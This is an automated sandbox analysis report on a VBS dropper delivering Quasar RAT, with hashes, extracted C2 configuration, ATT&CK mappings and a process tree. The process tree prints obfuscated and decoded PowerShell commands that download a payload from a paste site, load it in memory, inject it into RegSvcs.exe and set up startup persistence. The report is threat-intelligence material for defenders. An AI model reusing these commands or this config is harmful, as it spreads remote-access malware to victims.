quasar | 81a3b3d06db8334d0ee3b76934b14c7338ca9addbd82154a1d493885d8d7b7dc

General

Target

c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs
Size

197KB
MD5

4730787ad81772f8d9b03ae8faf9efc3
SHA1

4d09795bab624a2dbeb62a14870693f8c0dc810c
SHA256

c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4
SHA512

d7b28b0377fd0ec04d105a6c3ee3ae92ff98d29b3d8aa1d1c677817fad4b9816126eb4e7e23376d60dd1d263dd0e3ad182732b2e2c8ee0cfa54c64440fdaeaec
SSDEEP

384:z1OlYw8nrW9LrBppppppppppppppppppppNGpppppppppppppppppppppppppppf:sfirg/LNA

Score

10^/10

quasar aldo_r3gon execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pasteio.com/download/xcxWvykfm30a

Extracted

Family

quasar

Version

1.4.1

Botnet

aldo_R3GON

C2

peurnick24.bumbleshrimp.com:7310

Mutex

77413eeb-5d1c-4bf8-986f-3c9d48a16cd6

Attributes

encryption_key
A3226D93494A561FEC5149605B952B09B55012C6
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2608-36-0x0000000000400000-0x0000000000724000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

8 3088 powershell.exe
17 3088 powershell.exe
19 3088 powershell.exe

flow	pid	process
8	3088	powershell.exe
17	3088	powershell.exe
19	3088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_______________________-------------.lnk	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

16 pastebin.com
17 pastebin.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3088 set thread context of 2608 3088 powershell.exe RegSvcs.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1792 powershell.exe
3088 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1792 powershell.exe
1792 powershell.exe
3088 powershell.exe
3088 powershell.exe
3088 powershell.exe
2948 powershell.exe
2948 powershell.exe

flow	ioc
16	pastebin.com
17	pastebin.com

description	pid	process	target process
PID 3088 set thread context of 2608	3088	powershell.exe	RegSvcs.exe

pid	process
1792	powershell.exe
3088	powershell.exe

pid	process
1792	powershell.exe
1792	powershell.exe
3088	powershell.exe
3088	powershell.exe
3088	powershell.exe
2948	powershell.exe
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2608	RegSvcs.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

RegSvcs.exe

pid process

2608 RegSvcs.exe
2608 RegSvcs.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

RegSvcs.exe

pid process

2608 RegSvcs.exe
2608 RegSvcs.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegSvcs.exe

pid process

2608 RegSvcs.exe

pid	process
2608	RegSvcs.exe
2608	RegSvcs.exe

pid	process
2608	RegSvcs.exe
2608	RegSvcs.exe

pid	process
2608	RegSvcs.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1620 wrote to memory of 1792	1620	WScript.exe	powershell.exe
PID 1620 wrote to memory of 1792	1620	WScript.exe	powershell.exe
PID 1792 wrote to memory of 3088	1792	powershell.exe	powershell.exe
PID 1792 wrote to memory of 3088	1792	powershell.exe	powershell.exe
PID 3088 wrote to memory of 2948	3088	powershell.exe	powershell.exe
PID 3088 wrote to memory of 2948	3088	powershell.exe	powershell.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe
PID 3088 wrote to memory of 2608	3088	powershell.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bw▒GI▒cwB4▒GU▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒Br▒GU▒bgBx▒Hg▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HU▒c▒Bk▒Gc▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒c▒Bh▒HM▒d▒Bl▒Gk▒bw▒u▒GM▒bwBt▒C8▒Z▒Bv▒Hc▒bgBs▒G8▒YQBk▒C8▒e▒Bj▒Hg▒VwB2▒Hk▒awBm▒G0▒Mw▒w▒GE▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dQBw▒GQ▒Zw▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒MQ▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒ag▒1▒DM▒MQ▒4▒Gk▒SwBX▒C8▒dwBh▒HI▒LwBt▒G8▒Yw▒u▒G4▒aQBi▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒ZQBu▒HE▒e▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒c▒Bi▒HM▒e▒Bl▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs');powershell -command $KByHL;
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$pbsxe = '034';$kenqx = 'C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs';[Byte[]] $nupdg = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xcxWvykfm30a'));[system.AppDomain]::CurrentDomain.Load($nupdg).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('j5318iKW/war/moc.nibetsap//:sptth' , $kenqx , '_______________________-------------', $pbsxe, '1', 'Roda' ));"
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\c983314c573fe3408730565056c78968b2fdf9dec5d6f67701bcd62eadc39ea4.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8b56ab7631860454473cf924d0e1da02

SHA1
cd3b8705f1008e1a2a19bd363ab0b291fd9ebd38

SHA256
5624dd2edd0d950b56787cd937043d9c43ad667ac5471090e21cc0d2313eaa18

SHA512
efe7cdf0dad52799a624c33878cacaca5bfeb08bc3fbb78cbdc768b92fa6c83e16b38dfd95a9fa4947d757b9ab276990fee02ae26abdea7b4fd32bf246c74f20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1fxggrj.emw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1792-1-0x000001B97F0C0000-0x000001B97F0E2000-memory.dmp

Filesize
136KB

Download
memory/1792-11-0x00007FFE5BD20000-0x00007FFE5C7E1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-12-0x00007FFE5BD20000-0x00007FFE5C7E1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-0-0x00007FFE5BD23000-0x00007FFE5BD25000-memory.dmp

Filesize
8KB

Download
memory/1792-42-0x00007FFE5BD20000-0x00007FFE5C7E1000-memory.dmp

Filesize
10.8MB

Download
memory/2608-46-0x0000000006F30000-0x0000000007548000-memory.dmp

Filesize
6.1MB

Download
memory/2608-36-0x0000000000400000-0x0000000000724000-memory.dmp

Filesize
3.1MB

Download
memory/2608-43-0x0000000005D70000-0x0000000006314000-memory.dmp

Filesize
5.6MB

Download
memory/2608-44-0x00000000057C0000-0x0000000005852000-memory.dmp

Filesize
584KB

Download
memory/2608-45-0x0000000005880000-0x000000000588A000-memory.dmp

Filesize
40KB

Download
memory/2608-47-0x0000000006AC0000-0x0000000006B10000-memory.dmp

Filesize
320KB

Download
memory/2608-48-0x0000000006D20000-0x0000000006DD2000-memory.dmp

Filesize
712KB

Download
memory/2608-51-0x0000000007E30000-0x0000000007E42000-memory.dmp

Filesize
72KB

Download
memory/2608-52-0x0000000007E90000-0x0000000007ECC000-memory.dmp

Filesize
240KB

Download
memory/2608-53-0x0000000007F40000-0x0000000007FA6000-memory.dmp

Filesize
408KB

Download
memory/3088-35-0x000001EFB81B0000-0x000001EFB81BA000-memory.dmp

Filesize
40KB

Download
memory/3088-22-0x000001EFB8040000-0x000001EFB804A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads